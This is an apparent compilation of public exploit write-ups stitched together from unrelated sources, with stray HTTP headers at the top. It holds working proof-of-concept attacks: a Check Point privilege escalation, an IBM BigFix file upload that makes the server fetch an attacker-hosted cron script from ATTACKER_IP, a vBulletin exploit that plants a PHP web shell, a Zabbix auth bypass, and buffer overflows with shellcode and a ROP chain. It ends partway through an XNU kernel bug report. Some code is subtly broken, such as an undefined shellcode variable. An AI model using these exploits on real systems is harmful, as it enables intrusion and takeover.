Pragma: no-cache
Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 19239
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
[Dashboard Page Content Will Load Here]
</html>
# Exploit Title: CheckPoint Endpoint Security Client/ZoneAlarm 15.4.062.17802 - Privilege Escalation
# Date: 2019-01-30
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: https://www.checkpoint.com/
# Version: Check Point Endpoint Security VPN <= E80.87 Build 986009514
# Version: Check Point ZoneAlarm <= 15.4.062.17802
# CVE: CVE-2019-8452
Description:
============
It is possible to change permissions of arbitrary file so that user have full control over it after exploitation which results in Local Privilege Escalation.
It was found that Check Point software (Endpoint Security Client and ZoneAlarm) uses tvDebug.log file stored in "C:\Windows\Internet Logs\tvDebug.log" or in ProgramData, for example "C:\ProgramData\CheckPoint\ZoneAlarm\Logs\tvDebug.log".
Over this log file all authenticated users have full control and it was found that Check Point service writes to it with SYSTEM privileges.
However this file could not be used for exploitaion as it is always used/taken by Check Point service so for example this is why users cannot delete it in normal conditions (unless service crashes and/or is restarted).
However it was noticed that when this log file reaches some limit (depending on software) then it is archived to the same location and name but with ZIP extension. The same permissions are set for this archive file so all authenticated users can access it.
Taking all of this into account we can create an attack scenario:
1. If tvDebug.zip file exists then delete it
2. Create hardlink (using CreateHardlink.exe) named tvDebug.zip which points to other file that we would like to have permissions to (this file must not be taken by other process when Check Point service tries to use it)
3. Fill tvDebug.log log file above the limit. For ZoneAlarm it is 50Mb, for VPN it is 20Mb. It can be done by using software as normal user.
4. Restart system as service needs to be restarted to make an archive.
5. Now your file has permissions changed and you have all access to it.
6. If we pointed to "C:\Program Files (x86)\CheckPoint\Endpoint Connect\LogonISReg.dll" in step 2 then we can replace this DLL with custom one.
7. Click "VPN Options" in Client GUI and then close this windows. Closing "VPN Options" window forces LogonISReg.dll to be loaded with SYSTEM privileges.
Proof of Concept:
=================
# PoC written in PowerShell to fully exploit Check Point Endpoint Client. It can be used also to exploit ZoneAlarm.
# file that we want to have permissions to
# LogonISReg.dll is not used on startup and we can force to load it with SYSTEM privileges after exploitation
$file = "C:\Program Files (x86)\CheckPoint\Endpoint Connect\LogonISReg.dll"
# path to symboliclink testing tools CreateHardlink.exe
# CreateHardlink.exe is a tool created by James Forshaw - https://github.com/googleprojectzero/symboliclink-testing-tools
$hardlink = "C:\Temp\CreateHardlink.exe"
Write-Host "[!] Detecting Check Point software."
if ([System.IO.File]::Exists("$env:windir\Internet Logs\tvDebug.log")) {
$logfile = "$env:windir\Internet Logs\tvDebug.zip"
Write-Host "[+] Check Point Endpoint Security found."
}
elseif ([System.IO.File]::Exists("$env:programdata\CheckPoint\ZoneAlarm\Logs\tvDebug.log")) {
$logfile = "$env:programdata\CheckPoint\ZoneAlarm\Logs\tvDebug.zip"
Write-Host "[+] Check Point ZoneAlarm found."
}
else {
Write-Host "[-] Check Point software was not found."
}
Write-Host "[!] Trying to delete tvDebug.zip file."
if ([System.IO.File]::Exists($logfile)) {
while ([System.IO.File]::Exists($logfile)) { Remove-Item -Force 朴ath $logfile -ErrorAction SilentlyContinue }
Write-Host "[+] Successfully deleted tvDebug.zip archive file."
}
else {
Write-Host "[+] tvDebug.zip archive file was not found."
}
Write-Host "[!] Creating hardlink to a file that we would like to change permissions."
Start-Process -FilePath "cmd.exe" -ArgumentList "/c $hardlink `"$logfile`" `"$file`""
while (!([System.IO.File]::Exists($logfile))) { Sleep 1 }
Write-Host "[+] Hardlink successfully created."
Write-Host "[!] 1. Fill log file up to the limit and restart computer."
Write-Host "[!] 2. Now when permissions are changed replace LogonISReg.dll with your custom DLL."
Write-Host "[!] 3. Click VPN Options in Client GUI and close this window to force DLL load."
# Exploit Title: IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload
# Date: 2018-12-11
# Exploit Authors: Jakub Palaczynski
# Vendor Homepage: https://www.ibm.com/
# Version: IBM Bigfix Platform <= 9.5.9.62
# CVE: CVE-2019-4013
Description:
============
Any authenticated (even unprivileged) user can upload any file to any location on the server with root privileges. This results in code execution on underlying system with root privileges.
What caused this issue:
* path traversal - it is possible to escape from original directory and upload file to any other location
* server running with root privileges - user can upload file to ANY location on the system
* upload any type of file - application does not verify extension and MIME type of uploaded files
* authorization bypass (reported as separate issue) - any user can reveal privileged functionality and access it without proper rights set
* possibility to win the race - application uploads file to location specified in "urlFileName" parameter (path traversal), however it then moves it to another. An attacker needs to win race and execute script before it is moved.
Issue was found in "Apps > Software > Add Software" menu. Here user needs to choose upload via URL option as only this one is vulnerable.
URL needs to point to attacker's web server where he hosts for example script files.
When form is submitted we can see on proxy "urlFileName" parameter. This one is vulnerable to path traversal. This parameter specifies temporary file name that will be used on the system. Then application moves this file to another location that is not controlled by application user.
An attacker can for example upload script file on the web server and execute it by sending GET request. However as a PoC we will use cron. Here we upload 2 files - cron file and script file that will be executed by cron.
Uploading cron task and script file is the same as below but of course with different content downloaded from the web server. Those two HTTP requests should be sent in loop to finally win a race and execute our script.
Proof of Concept:
=================
cron.txt served on attacker's web server:
* * * * * root bash /tmp/icmp.sh
icmp.txt served on attacker's web server:
#!/bin/bash
ping -c 3 ATTACKER_IP
Uploading cron task:
POST /swd/api/packages/upload HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Length: 846
Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809
X-XSRF-TOKEN: XXX
Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX
Connection: close
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="fileURL"
http://ATTACKER_IP/cron.txt
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="username"
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="password"
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="urlFileName"
../../../../../../../../etc/cron.d/task
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="urlDownloadAtRuntime"
false
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="uploadId"
user_1543410578364620
-----------------------------7289782871626994727576601809--
Uploading script file:
POST /swd/api/packages/upload HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Length: 846
Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809
X-XSRF-TOKEN: XXX
Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX
Connection: close
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="fileURL"
http://ATTACKER_IP/icmp.txt
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="username"
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="password"
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="urlFileName"
../../../../../../../../tmp/icmp.sh
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="urlDownloadAtRuntime"
false
-----------------------------7289782871626994727576601809
Content-Disposition: form-data; name="uploadId"
user_1543410578364620
-----------------------------7289782871626994727576601809--
After a while our script should be executed with root privileges.
<?php
/*
---------------------------------------------------------------------
vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Vulnerability
---------------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.vbulletin.com/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability Description:
User input passed through the "data[extension]" and "data[filedata]" parameters to
the "ajax/api/user/updateAvatar" endpoint is not properly validated before being used
to update users' avatars. This can be exploited to inject and execute arbitrary PHP code.
Successful exploitation of this vulnerability requires the "Save Avatars as Files" option
to be enabled (disabled by default).
[-] Disclosure timeline:
[30/09/2019] - Vendor notified
[03/10/2019] - Patch released: https://bit.ly/2OptAzI
[04/10/2019] - CVE number assigned (CVE-2019-17132)
[07/10/2019] - Public disclosure
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
print "+-------------------------------------------------------------------------+";
print "\n| vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";
if ($argc != 4)
{
print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";
print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";
print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n";
die();
}
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
print "\n[-] Logging in with username '{$user}' and password '{$pass}'\n";
curl_setopt($ch, CURLOPT_URL, $url);
if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n");
curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");
if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n");
print "[-] Logged-in! Retrieving security token...\n";
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[-] Security token not found!\n");
print "[-] Uploading new avatar...\n";
$params = ["profilePhotoFile" => new CURLFile("avatar.jpeg"), "securitytoken" => $token[1]];
curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=profile/upload-profilepicture");
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, false);
if (($path = (json_decode(curl_exec($ch)))->avatarpath) == null) die("[-] Upload failed!\n");
if (preg_match('/image\.php\?/', $path)) die("[-] Sorry, the 'Save Avatars as Files' option is disabled!\n");
print "[-] Updating avatar with PHP shell...\n";
$php_code = '<?php print("____"); passthru(base64_decode($_SERVER["HTTP_CMD"])); ?>';
$params = ["routestring" => "ajax/api/user/updateAvatar",
"userid" => 0,
"avatarid" => 0,
"data[extension]" => "php",
"data[filedata]" => $php_code,
"securitytoken" => $token[1]];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
if (curl_exec($ch) !== "true") die("[-] Update failed!\n");
print "[-] Launching shell...\n";
preg_match('/(\d+)\.jpeg/', $path, $m);
$path = preg_replace('/(\d+)\.jpeg/', ($m[1]+1).".php", $path);
curl_setopt($ch, CURLOPT_URL, "{$url}core/{$path}");
curl_setopt($ch, CURLOPT_POST, false);
while(1)
{
print "\nvb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
# Exploit Title: Zabbix 4.4 - Authentication Bypass
# Date: 2019-10-06
# Exploit Author: Todor Donev
# Software Link: https://www.zabbix.com/download
# Version: Zabbix 4.4
# Tested on: Linux Apache/2 PHP/7.2
#
# Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit
#
# Copyright 2019 (c) Todor Donev
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
# # [ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>
# # [ Initializing the browser
# # [ >>> Referer =>
# # [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1
# # [ >>> Content-Type => application/x-www-form-urlencoded
# # [ <<< Cache-Control => no-store, no-cache, must-revalidate
# # [ <<< Connection => close
# # [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT
# # [ <<< Pragma => no-cache
# # [ <<< Server => nginx
# # [ <<< Vary => Accept-Encoding
# # [ <<< Content-Type => text/html; charset=UTF-8
# # [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT
# # [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT
# # [ <<< Client-Peer =>
# # [ <<< Client-Response-Num => 1
# # [ <<< Client-SSL-Cert-Issuer =>
# # [ <<< Client-SSL-Cert-Subject =>
# # [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256
# # [ <<< Client-SSL-Socket-Class => IO::Socket::SSL
# # [ <<< Client-SSL-Warning => Peer certificate not verified
# # [ <<< Client-Transfer-Encoding => chunked
# # [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css"
# # [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly
# # [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload
# # [ <<< Title => TARGET: Dashboard
# # [ <<< X-Content-Type-Options => nosniff
# # [ <<< X-Frame-Options => SAMEORIGIN
# # [ <<< X-Meta-Author => Zabbix SIA
# # [ <<< X-Meta-Charset => utf-8
# # [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d
# # [ <<< X-Meta-Msapplication-Config => none
# # [ <<< X-Meta-Msapplication-TileColor => #d40000
# # [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png
# # [ <<< X-Meta-Viewport => width=device-width, initial-scale=1
# # [ <<< X-UA-Compatible => IE=Edge
# # [ <<< X-XSS-Protection => 1; mode=block
# # [
# # [ The target is vulnerable. Try to open these links:
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
# # [ https://TARGET/zabbix/overview.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
# # [ https://TARGET/zabbix/latest.php?ddreset=1
# # [ https://TARGET/zabbix/charts.php?ddreset=1
# # [ https://TARGET/zabbix/screens.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
# # [ https://TARGET/zabbix/srv_status.php?ddreset=1
# # [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
# # [ https://TARGET/zabbix/hostinventories.php?ddreset=1
# # [ https://TARGET/zabbix/report2.php?ddreset=1
# # [ https://TARGET/zabbix/toptriggers.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.list
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1
#
#!/usr/bin/perl -w
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use HTML::TreeBuilder;
my $host = shift || ''; # Full path url to the store
$host =~ s|/$||;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit\n";
print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";
print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);
my $response = $browser->request($request);
print "[ >>> $_ => ", $request->header($_), "\n" for $request->header_field_names;
print "[ <<< $_ => ", $response->header($_), "\n" for $response->header_field_names;
print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401');
print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403');
if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){
print "[\n[ The target is vulnerable. Try to open these links:\n";
my $tree = HTML::TreeBuilder->new_from_content($response->as_string());
my @files = $tree->look_down(_tag => 'a');
for my $line (@files){
next if ($line->attr('href') =~ m/javascript/);
next if ($line->attr('href') =~ m/\#/);
next if ($line->attr('href') =~ m/http/);
print "[ ", $host."/zabbix/".$line->attr('href'), "\n";
}
} else {
print "[ Exploit failed! The target isn't vulnerable\n";
exit;
}
# Exploit Title: freeFTP 1.0.8 - Remote Buffer Overflow
# Date: 2019-09-01
# Author: Chet Manly
# Software Link: https://download.cnet.com/FreeFTP/3000-2160_4-10047242.html
# Version: 1.0.8
# CVE: N/A
from ftplib import FTP
buf = ""
buf += "\x89\xe1\xdb\xdf\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x48\x68\x6d"
buf += "\x52\x57\x70\x75\x50\x63\x30\x51\x70\x6c\x49\x38\x65"
buf += "\x64\x71\x79\x50\x31\x74\x6e\x6b\x52\x70\x44\x70\x4e"
buf += "\x6b\x66\x32\x44\x4c\x6c\x4b\x30\x52\x57\x64\x4c\x4b"
buf += "\x43\x42\x64\x68\x36\x6f\x58\x37\x32\x6a\x55\x76\x36"
buf += "\x51\x79\x6f\x6c\x6c\x77\x4c\x61\x71\x43\x4c\x63\x32"
buf += "\x56\x4c\x47\x50\x6b\x71\x5a\x6f\x34\x4d\x45\x51\x6f"
buf += "\x37\x68\x62\x6a\x52\x76\x32\x70\x57\x4c\x4b\x73\x62"
buf += "\x44\x50\x4c\x4b\x72\x6a\x77\x4c\x6c\x4b\x72\x6c\x57"
buf += "\x61\x52\x58\x49\x73\x47\x38\x33\x31\x68\x51\x66\x31"
buf += "\x6c\x4b\x31\x49\x55\x70\x47\x71\x69\x43\x6c\x4b\x72"
buf += "\x69\x32\x38\x39\x73\x64\x7a\x63\x79\x4c\x4b\x37\x44"
buf += "\x6c\x4b\x66\x61\x4a\x76\x35\x61\x39\x6f\x6c\x6c\x6f"
buf += "\x31\x68\x4f\x54\x4d\x33\x31\x78\x47\x35\x68\x49\x70"
buf += "\x30\x75\x49\x66\x45\x53\x51\x6d\x49\x68\x37\x4b\x73"
buf += "\x4d\x61\x34\x71\x65\x6d\x34\x36\x38\x4c\x4b\x32\x78"
buf += "\x65\x74\x66\x61\x6a\x73\x65\x36\x4c\x4b\x74\x4c\x30"
buf += "\x4b\x4c\x4b\x51\x48\x57\x6c\x75\x51\x6a\x73\x6c\x4b"
buf += "\x53\x34\x6e\x6b\x43\x31\x4a\x70\x4d\x59\x53\x74\x66"
buf += "\x44\x55\x74\x53\x6b\x31\x4b\x63\x51\x36\x39\x62\x7a"
buf += "\x62\x71\x69\x6f\x6d\x30\x71\x4f\x51\x4f\x71\x4a\x4e"
buf += "\x6b\x62\x32\x6a\x4b\x6e\x6d\x53\x6d\x70\x6a\x47\x71"
buf += "\x4c\x4d\x4e\x65\x4c\x72\x53\x30\x65\x50\x47\x70\x66"
buf += "\x30\x30\x68\x65\x61\x4c\x4b\x32\x4f\x4c\x47\x6b\x4f"
buf += "\x69\x45\x4d\x6b\x6c\x30\x48\x35\x4e\x42\x71\x46\x52"
buf += "\x48\x59\x36\x4a\x35\x4d\x6d\x6d\x4d\x79\x6f\x38\x55"
buf += "\x47\x4c\x33\x36\x53\x4c\x56\x6a\x6f\x70\x49\x6b\x6b"
buf += "\x50\x73\x45\x37\x75\x6d\x6b\x31\x57\x46\x73\x63\x42"
buf += "\x72\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x48\x55\x55"
buf += "\x33\x35\x31\x32\x4c\x53\x53\x66\x4e\x55\x35\x72\x58"
buf += "\x45\x35\x53\x30\x41\x41"
buf = 'A' * 276
buf += '\x90' * 10
buf += shellcode
buf += 'B' * (486 - len(shellcode))
buf += '\x58' # pop eax
buf += '\xfe\xcc' # dec ah
buf += '\xfe\xcc' # dec ah
buf += '\xff\xe0' # jmp eax
buf += 'C' * 4
buf += '\xe8\xf0\xff\xff\xff' # call near
buf += 'D' * 9
buf += '\xeb\xf0\x90\x90' # jump backwards
buf += '\xc0\x3d\x42\x00' # 0x00423dc0 - pop, pop, ret
buf += 'E' * (1000 - len(buf))
ftp = FTP()
ftp.connect('192.168.1.1', 21)
ftp.login('anonymous', buf)
# Exploit Title: Sricam DeviceViewer 3.12.0.1 - 'add user' Local Buffer Overflow (DEP Bypass)
# Date: 08/10/2019
# Exploit Author: Alessandro Magnosi
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Exploit type: Local
# Tested on: Windows 7 SP1
# Steps to reproduce:
# 1. Get the WinExec address from arwin.exe kernel32.dll WinExec
# 2. Change the related address in the PoC
# 3. Generate the payload using the PoC
# 4. Log in the Sricam DeviceViewer application
# 5. Go to System Configuration -> User Management
# 6. Put the content of the generated file in User Info -> Username
# 7. Click on Add
# 8. A command shell will appear
#!/usr/bin/python
from struct import pack, unpack
def create_rop_chain():
rops = [
0x6a1142aa, # XOR EDX,EDX # RETN
0x6a569810, # POP EDX # RETN [avcodec-54.dll]
0x6ae9c126, # &Writable location [avutil-50.dll]
0x6a5dac8a, # POP EAX # RETN
0xff9b929d, # NEG "cmd\0"
0x6a2420e8, # NEG EAX # RETN [avcodec-54.dll]
0x6994766b, # PUSH EAX # MOV DWORD PTR DS:[EDX],EAX # ADD ESP,3C # POP EBX # POP ESI # POP EDI # POP EBP # RETN [avformat-54.dll]
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a18e062, # ADD ESP, 10 # RETN ---> ESI
0x6a2420ea, # ROP NOP ---> EDI
0x6a45e446, # XCHG EAX,EDX # RETN [avcodec-54.dll]
0x6a29d716, # XCHG EAX,ECX # RETN [avcodec-54.dll]
## ECX = ascii "cmd\0"
0x6a569810, # POP EDX # RETN [avcodec-54.dll]
0x6a36264a, # CALL EBX
## EDX = CALL EBX
0x6a5dac8a, # POP EAX # RETN
0x76e33231, # ptr to WinExec() [kernel32.dll]
#### Unfortunately, this has to be hardcoded as no reliable pointer is available into the aplication
0x6a150411, # XCHG EAX,EBX # RETN [avcodec-54.dll]
## EBX = &WinExec
0x6a5dac8a, # POP EAX # RETN
0xffffffff, # -0x00000001-> ebx
0x6a2420e8, # NEG EAX # RETN [avcodec-54.dll]
## EAX = 1
0x6a5eb992, # PUSHAD # RETN [avcodec-54.dll]
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
0x6a2420ea, # ROP NOP
]
return ''.join(pack('<I', _) for _ in rops)
def nops(length):
return "\x90" * length
rop_chain = create_rop_chain()
maxlen = 5000
# Stack pivoting address
# 0x6a443e58 : {pivot 2252 / 0x8cc} : # ADD ESP,8BC # POP EBX # POP ESI # POP EDI # POP EBP # RETN [avcodec-54.dll]
seh = pack("<I", 0x6a443e58)
# Don't care nseh
nseh = nops(4)
payload = nops(8) + rop_chain + nops(360 - len(rop_chain) - 8) + nops(20) + nseh + seh + nops(300)
sec = maxlen - len(payload)
payload += nops(sec) # More junk to reach 5000
print("Exploit Length: " + str(len(payload)))
try:
fname = "exprop.txt"
exploit = open(fname,"w")
print("Sricam DeviceViewer 3.12.0.1 Local Buffer Overflow Exploit")
print("Author: Alessandro Magnosi\n")
print("[*] Creating evil username")
exploit.write(payload)
exploit.close()
print("[+] Username file created\n")
print("[i] Now go to 'User Management' and try to add a user with user=<filecontent>")
print("[+] A command shell will open")
except:
print("[!] Error creating the file")
# Exploit Title: DeviceViewer 3.12.0.1 - Arbitrary Password Change
# Date: 2019-09-10
# Exploit Author: Alessandro Magnosi
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7
#!/usr/bin/python
# Steps to reproduce:
# 1. Generate the payload executing the PoC
# 2. Login in the Sricam DeviceViewer application as any registered user
# 3. Go to System Tools -> Change Password
# 4. Set the old password as the malicious payload, and the new password as whatever you want
# 5. The password will be changed with the new one
# 6. To confirm, restart the application and try to login with the new password
payload = "A" * 5000
try:
bypass = open("bypass.txt","w")
print("### Sricam DeviceViewer 3.12.0.1 Change Password Security Bypass")
print("### Author: Alessandro Magnosi\n")
print("[*] Creating old password file")
bypass.write(payload)
bypass.close()
print("[+] Old password file created\n")
print("[i] When changing password, set the old password to the file contents")
print("[i] Close the program and reopen it")
print("[i] Log in with new password")
except:
print("[!] Error creating the file")
=== Summary ===
This report describes a bug in the XNU implementation of the IPComp protocol
(https://tools.ietf.org/html/rfc3173). This bug can be remotely triggered by an
attacker who is able to send traffic to a macOS system (iOS AFAIK isn't
affected) *over two network interfaces at the same time*.
=== Some basics to provide context ===
IPComp is a protocol for compressing the payload of IP packets.
The XNU implementation of IPComp is (going by the last public XNU release)
enabled only on X86-64; ARM64 doesn't seem to have the feature enabled at all
(look for ipcomp_zlib in config/MASTER.x86_64 and config/MASTER.arm64). In other
words, it's enabled on macOS and disabled on iOS.
While IPComp is related to IPsec, the IPComp input path processes input even
when the user has not configured any IPsec stuff on the system.
zlib requires fairly large buffers for decompression and especially for
compression. In order to avoid allocating such buffers for each packet, IPComp
uses two global z_stream instances "deflate_stream" and "inflate_stream".
If IPComp isn't used, the buffer pointers in these z_stream instances remain
NULL; only when IPComp is actually used, the kernel will attempt to initialize
the buffer pointers.
As far as I can tell, the IPComp implementation of XNU has been completely
broken for years, which makes it impossible to actually reach the decompression
code. ipcomp_algorithm_lookup() is responsible for allocating global buffers for
the compression and decompression code; however, all of these allocations go
through deflate_alloc(), which (since xnu-1228, which corresponds to macOS 10.5
from 2007) calls _MALLOC() with M_NOWAIT. _MALLOC() leads to kalloc_canblock(),
which, if the M_NOWAIT flag was set and the allocation is too big for a kalloc
zone (size >= kalloc_max_prerounded), immediately returns NULL. On X86-64,
kalloc_max_prerounded is 0x2001; both deflateInit2() and inflateInit2() attempt
allocations bigger than that, causing them to fail with Z_MEM_ERROR, as is
visible with dtrace when observing the system's reaction to a single incoming
IPComp packet [empty lines removed]:
```
bash-3.2# ./inflate_test.dtrace
dtrace: script './inflate_test.dtrace' matched 11 probes
CPU ID FUNCTION:NAME
0 243037 deflateInit2_:entry deflate init (thread=ffffff802db84a40)
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x1738, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0xffffff80496b9800
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2000, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0xffffff802f42f000
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2000, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0x0
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x20000, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0x0
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x20000, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0x0
